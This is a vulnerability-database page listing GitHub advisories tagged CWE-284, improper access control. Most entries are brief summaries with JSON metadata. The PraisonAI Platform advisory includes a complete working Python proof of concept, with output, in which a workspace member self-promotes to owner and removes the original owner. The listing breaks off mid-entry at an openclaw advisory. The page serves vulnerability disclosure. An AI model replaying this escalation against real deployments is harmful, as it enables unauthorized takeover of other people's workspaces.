CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8157 vulnerabilities reference this CWE, most recent first.
GHSA-H33C-355W-G26Q
Vulnerability from github – Published: 2025-02-28 00:30 – Updated: 2025-02-28 18:31An issue in Motorola Mobility Droid Razr HD (Model XT926) System Version: 9.18.94.XT926.Verizon.en.US allows physically proximate unauthorized attackers to access USB debugging, leading to control of the host device itself.
{
"affected": [],
"aliases": [
"CVE-2025-25730"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-27T22:15:38Z",
"severity": "MODERATE"
},
"details": "An issue in Motorola Mobility Droid Razr HD (Model XT926) System Version: 9.18.94.XT926.Verizon.en.US allows physically proximate unauthorized attackers to access USB debugging, leading to control of the host device itself.",
"id": "GHSA-h33c-355w-g26q",
"modified": "2025-02-28T18:31:02Z",
"published": "2025-02-28T00:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25730"
},
{
"type": "WEB",
"url": "https://gainsec.com/2025/02/27/cve-2025-25730-developer-options-and-usb-debugging-authorization-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H33Q-QXCF-7VXX
Vulnerability from github – Published: 2022-05-14 02:48 – Updated: 2025-04-20 03:35Hak5 WiFi Pineapple 2.0 through 2.3 uses predictable CSRF tokens.
{
"affected": [],
"aliases": [
"CVE-2015-4624"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-31T16:59:00Z",
"severity": "HIGH"
},
"details": "Hak5 WiFi Pineapple 2.0 through 2.3 uses predictable CSRF tokens.",
"id": "GHSA-h33q-qxcf-7vxx",
"modified": "2025-04-20T03:35:04Z",
"published": "2022-05-14T02:48:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4624"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/40609"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/133052/WiFi-Pineapple-Predictable-CSRF-Token.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/139212/Hak5-WiFi-Pineapple-Preconfiguration-Command-Injection-2.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/536184/100/500/threaded"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H37G-4H4P-9X97
Vulnerability from github – Published: 2026-05-29 22:42 – Updated: 2026-05-29 22:42Summary
PraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to owner.
The issue is caused by privileged workspace-management routes using the shared dependency require_workspace_member(...) without requiring admin or owner. The dependency defaults to min_role="member", so routes that should be administrative are accessible to ordinary workspace members.
As a result, a normal workspace member can:
- promote their own account from
membertoowner; - add arbitrary users as
owneroradmin; - change other members' roles;
- remove legitimate owners or members;
- take over workspace membership completely;
- perform destructive workspace operations after escalation.
This is a broken access control / vertical privilege escalation vulnerability.
Details
The vulnerable authorization dependency is defined in:
praisonai_platform/api/deps.py
````
The dependency defaults to the lowest workspace role:
```python
async def require_workspace_member(
workspace_id: str,
user: AuthIdentity = Depends(get_current_user),
session: AsyncSession = Depends(get_db),
min_role: str = "member",
) -> AuthIdentity:
...
has = await member_svc.has_role(workspace_id, user.id, min_role)
Because min_role defaults to "member", any route using:
Depends(require_workspace_member)
without explicitly passing a stronger role only requires ordinary workspace membership.
Privileged workspace-management routes in:
praisonai_platform/api/routes/workspaces.py
use this dependency unchanged on administrative actions, including:
PATCH /workspaces/{workspace_id}
DELETE /workspaces/{workspace_id}
POST /workspaces/{workspace_id}/members
PATCH /workspaces/{workspace_id}/members/{user_id}
DELETE /workspaces/{workspace_id}/members/{user_id}
These routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require admin or owner, but they currently require only member.
The membership service does not provide a second authorization layer. In:
praisonai_platform/services/member_service.py
the mutation methods perform the requested change after the route-level check passes:
async def add(...):
member = Member(workspace_id=workspace_id, user_id=user_id, role=role)
async def update_role(...):
member = await self.get(workspace_id, user_id)
member.role = new_role
async def remove(...):
member = await self.get(workspace_id, user_id)
await self._session.delete(member)
Therefore, the weak route dependency is the effective authorization boundary.
A low-privilege user can also learn their own user.id from the normal authentication response. The login/register response includes the authenticated user object:
TokenResponse.token
TokenResponse.user.id
This allows an invited low-privilege member to target their own membership record and self-promote.
Affected component
Package: praisonai-platform
Verified version: 0.1.2
Verified source commit: d8a8a78
Affected components:
- praisonai_platform/api/deps.py
- praisonai_platform/api/routes/workspaces.py
- praisonai_platform/services/member_service.py
- praisonai_platform/api/routes/auth.py
- praisonai_platform/api/schemas.py
PoC
The following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.
The PoC:
- Creates the real FastAPI app with
praisonai_platform.api.app.create_app(). - Registers three users through the real
/api/v1/auth/registerroute. - Creates a workspace as the original owner.
- Adds the second user as a normal
member. - Logs in as that low-privilege member.
- Uses the low-privilege member token to self-promote to
owner. - Uses the same token to add a third account as
owner. - Uses the same token to remove the original owner.
- Confirms the workspace membership has been taken over.
Full PoC code
#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI Platform workspace RBAC bypass."""
from __future__ import annotations
import asyncio
import os
import sys
import types
import uuid
from pathlib import Path
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
def verify_source() -> None:
expected = {
PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
'min_role: str = "member"',
"member_svc.has_role(workspace_id, user.id, min_role)",
],
PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [
'@router.patch("/{workspace_id}", response_model=WorkspaceResponse)',
'@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)',
'@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',
'@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)',
],
PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [
"member.role = new_role",
"await self._session.delete(member)",
],
}
for path, needles in expected.items():
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
async def main() -> int:
if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():
raise SystemExit("missing local PraisonAI source tree")
verify_source()
sys.path.insert(0, str(PLATFORM_ROOT))
sys.path.insert(0, str(AGENTS_ROOT))
# Minimal passlib stub for local replay environments where passlib is not installed.
# This keeps the PoC focused on the authorization bug rather than dependency setup.
if "passlib" not in sys.modules:
passlib_pkg = types.ModuleType("passlib")
passlib_pkg.__path__ = []
sys.modules["passlib"] = passlib_pkg
if "passlib.context" not in sys.modules:
passlib_context = types.ModuleType("passlib.context")
class _CryptContext:
def __init__(self, *args, **kwargs):
pass
def hash(self, password: str) -> str:
return f"stub::{password}"
def verify(self, password: str, hashed: str) -> bool:
return hashed == f"stub::{password}"
passlib_context.CryptContext = _CryptContext
sys.modules["passlib.context"] = passlib_context
# Keep JWT generation deterministic for the local replay.
os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"
from praisonai_platform.api.app import create_app
from praisonai_platform.db.base import Base, reset_engine
from praisonai_platform.db import base as base_mod
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
suffix = uuid.uuid4().hex[:8]
password = "Password123!"
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
# 1. Register an owner account.
owner = await client.post(
"/api/v1/auth/register",
json={
"email": f"owner_{suffix}@example.com",
"password": password,
"name": f"owner_{suffix}",
},
)
# 2. Register a low-privilege member account.
member = await client.post(
"/api/v1/auth/register",
json={
"email": f"member_{suffix}@example.com",
"password": password,
"name": f"member_{suffix}",
},
)
# 3. Register a third attacker-controlled account.
extra = await client.post(
"/api/v1/auth/register",
json={
"email": f"extra_{suffix}@example.com",
"password": password,
"name": f"extra_{suffix}",
},
)
owner_json = owner.json()
member_json = member.json()
extra_json = extra.json()
owner_headers = {"Authorization": f"Bearer {owner_json['token']}"}
member_headers = {"Authorization": f"Bearer {member_json['token']}"}
# 4. Create a workspace as the owner.
workspace = await client.post(
"/api/v1/workspaces/",
json={
"name": f"ws-{suffix}",
"slug": f"ws-{suffix}",
"description": "rbac bypass poc",
},
headers=owner_headers,
)
workspace_id = workspace.json()["id"]
# 5. Owner adds the second user as a normal low-privilege member.
added_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={
"user_id": member_json["user"]["id"],
"role": "member",
},
headers=owner_headers,
)
# 6. Low-privilege member self-promotes to owner.
promoted = await client.patch(
f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}",
json={
"role": "owner",
},
headers=member_headers,
)
# 7. The same formerly-low-privilege member adds a third account as owner.
added_owner = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={
"user_id": extra_json["user"]["id"],
"role": "owner",
},
headers=member_headers,
)
# 8. The same account removes the original owner.
removed_original_owner = await client.delete(
f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}",
headers=member_headers,
)
# 9. Confirm remaining membership state.
remaining_members = await client.get(
f"/api/v1/workspaces/{workspace_id}/members",
headers=member_headers,
)
remaining_roles = [m["role"] for m in remaining_members.json()]
print(f"[poc] owner_status={owner.status_code}")
print(f"[poc] member_status={member.status_code}")
print(f"[poc] extra_status={extra.status_code}")
print(f"[poc] workspace_status={workspace.status_code}")
print(f"[poc] add_status={added_member.status_code} role={added_member.json()['role']}")
print(f"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}")
print(f"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}")
print(f"[poc] remove_original_owner_status={removed_original_owner.status_code}")
print(f"[poc] remaining_roles={remaining_roles}")
if promoted.status_code != 200 or promoted.json()["role"] != "owner":
raise SystemExit("[poc] MISS: low-privilege member did not become owner")
if added_owner.status_code != 201 or added_owner.json()["role"] != "owner":
raise SystemExit("[poc] MISS: promoted attacker could not add a new owner")
if removed_original_owner.status_code != 204:
raise SystemExit("[poc] MISS: promoted attacker could not remove the original owner")
if remaining_roles.count("owner") < 2:
raise SystemExit("[poc] MISS: expected attacker-controlled owners after takeover")
print("[poc] HIT: low-privilege member became owner and took over workspace membership")
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
return 0
if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))
Observed output
[poc] owner_status=201
[poc] member_status=201
[poc] extra_status=201
[poc] workspace_status=201
[poc] add_status=201 role=member
[poc] promote_status=200 role=owner
[poc] add_owner_status=201 role=owner
[poc] remove_original_owner_status=204
[poc] remaining_roles=['owner', 'owner']
[poc] HIT: low-privilege member became owner and took over workspace membership
Expected secure behavior
The following request should be rejected when made by a plain member:
PATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}
Authorization: Bearer <member_token>
Content-Type: application/json
{
"role": "owner"
}
Expected response:
403 Forbidden
Actual vulnerable behavior
The request succeeds:
HTTP 200
role = owner
The same account can then add attacker-controlled owners and remove the original owner.
Impact
A low-privilege workspace member can fully take over a workspace.
Impact includes:
- self-promoting from
membertoowneroradmin; - granting
owneroradminto attacker-controlled accounts; - changing other members' roles;
- removing legitimate owners or members;
- modifying workspace metadata and settings;
- deleting the workspace;
- taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.
The attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.2"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47405"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T22:42:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members\u0027 roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n workspace_id: str,\n user: AuthIdentity = Depends(get_current_user),\n session: AsyncSession = Depends(get_db),\n min_role: str = \"member\",\n) -\u003e AuthIdentity:\n ...\n has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST /workspaces/{workspace_id}/members\nPATCH /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n member = await self.get(workspace_id, user_id)\n member.role = new_role\n\nasync def remove(...):\n member = await self.get(workspace_id, user_id)\n await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n expected = {\n PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n \u0027min_role: str = \"member\"\u0027,\n \"member_svc.has_role(workspace_id, user.id, min_role)\",\n ],\n PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n \u0027@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)\u0027,\n \u0027@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n \u0027@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)\u0027,\n \u0027@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)\u0027,\n ],\n PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n \"member.role = new_role\",\n \"await self._session.delete(member)\",\n ],\n }\n\n for path, needles in expected.items():\n text = path.read_text(encoding=\"utf-8\")\n for needle in needles:\n if needle not in text:\n raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n raise SystemExit(\"missing local PraisonAI source tree\")\n\n verify_source()\n\n sys.path.insert(0, str(PLATFORM_ROOT))\n sys.path.insert(0, str(AGENTS_ROOT))\n\n # Minimal passlib stub for local replay environments where passlib is not installed.\n # This keeps the PoC focused on the authorization bug rather than dependency setup.\n if \"passlib\" not in sys.modules:\n passlib_pkg = types.ModuleType(\"passlib\")\n passlib_pkg.__path__ = []\n sys.modules[\"passlib\"] = passlib_pkg\n\n if \"passlib.context\" not in sys.modules:\n passlib_context = types.ModuleType(\"passlib.context\")\n\n class _CryptContext:\n def __init__(self, *args, **kwargs):\n pass\n\n def hash(self, password: str) -\u003e str:\n return f\"stub::{password}\"\n\n def verify(self, password: str, hashed: str) -\u003e bool:\n return hashed == f\"stub::{password}\"\n\n passlib_context.CryptContext = _CryptContext\n sys.modules[\"passlib.context\"] = passlib_context\n\n # Keep JWT generation deterministic for the local replay.\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db.base import Base, reset_engine\n from praisonai_platform.db import base as base_mod\n\n await reset_engine()\n\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n\n base_mod._engine = engine\n base_mod._session_factory = None\n\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n suffix = uuid.uuid4().hex[:8]\n password = \"Password123!\"\n\n transport = ASGITransport(app=app)\n\n async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n # 1. Register an owner account.\n owner = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"owner_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"owner_{suffix}\",\n },\n )\n\n # 2. Register a low-privilege member account.\n member = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"member_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"member_{suffix}\",\n },\n )\n\n # 3. Register a third attacker-controlled account.\n extra = await client.post(\n \"/api/v1/auth/register\",\n json={\n \"email\": f\"extra_{suffix}@example.com\",\n \"password\": password,\n \"name\": f\"extra_{suffix}\",\n },\n )\n\n owner_json = owner.json()\n member_json = member.json()\n extra_json = extra.json()\n\n owner_headers = {\"Authorization\": f\"Bearer {owner_json[\u0027token\u0027]}\"}\n member_headers = {\"Authorization\": f\"Bearer {member_json[\u0027token\u0027]}\"}\n\n # 4. Create a workspace as the owner.\n workspace = await client.post(\n \"/api/v1/workspaces/\",\n json={\n \"name\": f\"ws-{suffix}\",\n \"slug\": f\"ws-{suffix}\",\n \"description\": \"rbac bypass poc\",\n },\n headers=owner_headers,\n )\n\n workspace_id = workspace.json()[\"id\"]\n\n # 5. Owner adds the second user as a normal low-privilege member.\n added_member = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\n \"user_id\": member_json[\"user\"][\"id\"],\n \"role\": \"member\",\n },\n headers=owner_headers,\n )\n\n # 6. Low-privilege member self-promotes to owner.\n promoted = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/members/{member_json[\u0027user\u0027][\u0027id\u0027]}\",\n json={\n \"role\": \"owner\",\n },\n headers=member_headers,\n )\n\n # 7. The same formerly-low-privilege member adds a third account as owner.\n added_owner = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\n \"user_id\": extra_json[\"user\"][\"id\"],\n \"role\": \"owner\",\n },\n headers=member_headers,\n )\n\n # 8. The same account removes the original owner.\n removed_original_owner = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/members/{owner_json[\u0027user\u0027][\u0027id\u0027]}\",\n headers=member_headers,\n )\n\n # 9. Confirm remaining membership state.\n remaining_members = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n headers=member_headers,\n )\n\n remaining_roles = [m[\"role\"] for m in remaining_members.json()]\n\n print(f\"[poc] owner_status={owner.status_code}\")\n print(f\"[poc] member_status={member.status_code}\")\n print(f\"[poc] extra_status={extra.status_code}\")\n print(f\"[poc] workspace_status={workspace.status_code}\")\n print(f\"[poc] add_status={added_member.status_code} role={added_member.json()[\u0027role\u0027]}\")\n print(f\"[poc] promote_status={promoted.status_code} role={promoted.json()[\u0027role\u0027]}\")\n print(f\"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()[\u0027role\u0027]}\")\n print(f\"[poc] remove_original_owner_status={removed_original_owner.status_code}\")\n print(f\"[poc] remaining_roles={remaining_roles}\")\n\n if promoted.status_code != 200 or promoted.json()[\"role\"] != \"owner\":\n raise SystemExit(\"[poc] MISS: low-privilege member did not become owner\")\n\n if added_owner.status_code != 201 or added_owner.json()[\"role\"] != \"owner\":\n raise SystemExit(\"[poc] MISS: promoted attacker could not add a new owner\")\n\n if removed_original_owner.status_code != 204:\n raise SystemExit(\"[poc] MISS: promoted attacker could not remove the original owner\")\n\n if remaining_roles.count(\"owner\") \u003c 2:\n raise SystemExit(\"[poc] MISS: expected attacker-controlled owners after takeover\")\n\n print(\"[poc] HIT: low-privilege member became owner and took over workspace membership\")\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(asyncio.run(main()))\n```\n\n#### Observed output\n\n```text\n[poc] owner_status=201\n[poc] member_status=201\n[poc] extra_status=201\n[poc] workspace_status=201\n[poc] add_status=201 role=member\n[poc] promote_status=200 role=owner\n[poc] add_owner_status=201 role=owner\n[poc] remove_original_owner_status=204\n[poc] remaining_roles=[\u0027owner\u0027, \u0027owner\u0027]\n[poc] HIT: low-privilege member became owner and took over workspace membership\n```\n\n#### Expected secure behavior\n\nThe following request should be rejected when made by a plain `member`:\n\n```http\nPATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}\nAuthorization: Bearer \u003cmember_token\u003e\nContent-Type: application/json\n\n{\n \"role\": \"owner\"\n}\n```\n\nExpected response:\n\n```text\n403 Forbidden\n```\n\n#### Actual vulnerable behavior\n\nThe request succeeds:\n\n```text\nHTTP 200\nrole = owner\n```\n\nThe same account can then add attacker-controlled owners and remove the original owner.\n\n### Impact\n\nA low-privilege workspace member can fully take over a workspace.\n\nImpact includes:\n\n* self-promoting from `member` to `owner` or `admin`;\n* granting `owner` or `admin` to attacker-controlled accounts;\n* changing other members\u0027 roles;\n* removing legitimate owners or members;\n* modifying workspace metadata and settings;\n* deleting the workspace;\n* taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.\n\nThe attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.",
"id": "GHSA-h37g-4h4p-9x97",
"modified": "2026-05-29T22:42:07Z",
"published": "2026-05-29T22:42:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership"
}
GHSA-H382-3GXP-25CX
Vulnerability from github – Published: 2023-06-06 09:30 – Updated: 2024-04-04 04:34Memory corruption due to improper access control in kernel while processing a mapping request from root process.
{
"affected": [],
"aliases": [
"CVE-2022-40529"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-06T08:15:11Z",
"severity": "HIGH"
},
"details": "Memory corruption due to improper access control in kernel while processing a mapping request from root process.",
"id": "GHSA-h382-3gxp-25cx",
"modified": "2024-04-04T04:34:19Z",
"published": "2023-06-06T09:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40529"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins/june-2023-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H3CR-GXPM-FXXC
Vulnerability from github – Published: 2023-11-15 00:31 – Updated: 2025-07-28 21:31Improper Access Control in SMI handler vulnerability in Phoenix SecureCore™ Technology™ 4 allows SPI flash modification. This issue affects SecureCore™ Technology™ 4:
- from 4.3.0.0 before 4.3.0.203
from
4.3.1.0 before 4.3.1.163 *
from
4.4.0.0 before 4.4.0.217 *
from
4.5.0.0 before 4.5.0.138
{
"affected": [],
"aliases": [
"CVE-2023-31100"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-15T00:15:07Z",
"severity": "HIGH"
},
"details": "Improper Access Control in SMI handler vulnerability in Phoenix SecureCore\u2122 Technology\u2122 4 allows SPI flash modification.\nThis issue affects SecureCore\u2122 Technology\u2122 4:\n\n\n * from 4.3.0.0 before 4.3.0.203\n * \n\nfrom \n\n4.3.1.0 before 4.3.1.163\n * \n\nfrom \n\n4.4.0.0 before 4.4.0.217\n * \n\nfrom \n\n4.5.0.0 before 4.5.0.138",
"id": "GHSA-h3cr-gxpm-fxxc",
"modified": "2025-07-28T21:31:30Z",
"published": "2023-11-15T00:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31100"
},
{
"type": "WEB",
"url": "https://https://www.phoenix.com/security-notifications"
},
{
"type": "WEB",
"url": "https://phoenixtech.com/phoenix-security-notifications/cve-2023-31100"
},
{
"type": "WEB",
"url": "https://www.phoenix.com/security-notifications"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H3CV-38G8-CPVM
Vulnerability from github – Published: 2025-12-04 18:30 – Updated: 2025-12-06 00:31Incorrect access control in the component ApiPayController.java of platform v1.0.0 allows attackers to access sensitive information via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2025-57210"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-04T16:16:21Z",
"severity": "HIGH"
},
"details": "Incorrect access control in the component ApiPayController.java of platform v1.0.0 allows attackers to access sensitive information via unspecified vectors.",
"id": "GHSA-h3cv-38g8-cpvm",
"modified": "2025-12-06T00:31:35Z",
"published": "2025-12-04T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57210"
},
{
"type": "WEB",
"url": "https://gist.github.com/xueye0629/4411663241fa3bbba628d3044dc50451"
},
{
"type": "WEB",
"url": "https://gitee.com/fuyang_lipengjun/platform"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H3F9-MJWJ-W476
Vulnerability from github – Published: 2026-02-17 21:42 – Updated: 2026-02-20 16:44Summary
A mismatch between rawCommand and command[] in the node host system.run handler could cause allowlist/approval evaluation to be performed on one command while executing a different argv.
Affected Configurations
This only impacts deployments that:
- Use the node host / companion node execution path (
system.runon a node). - Enable allowlist-based exec policy (
security=allowlist) with approval prompting driven by allowlist misses (for exampleask=on-miss). - Allow an attacker to invoke
system.run.
Default/non-node configurations are not affected.
Impact
In affected configurations, an attacker who can invoke system.run can bypass allowlist enforcement and approval prompts by supplying an allowlisted rawCommand while providing a different command[] argv for execution.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.2.13 - Patched version:
>= 2026.2.14(planned next release)
Fix
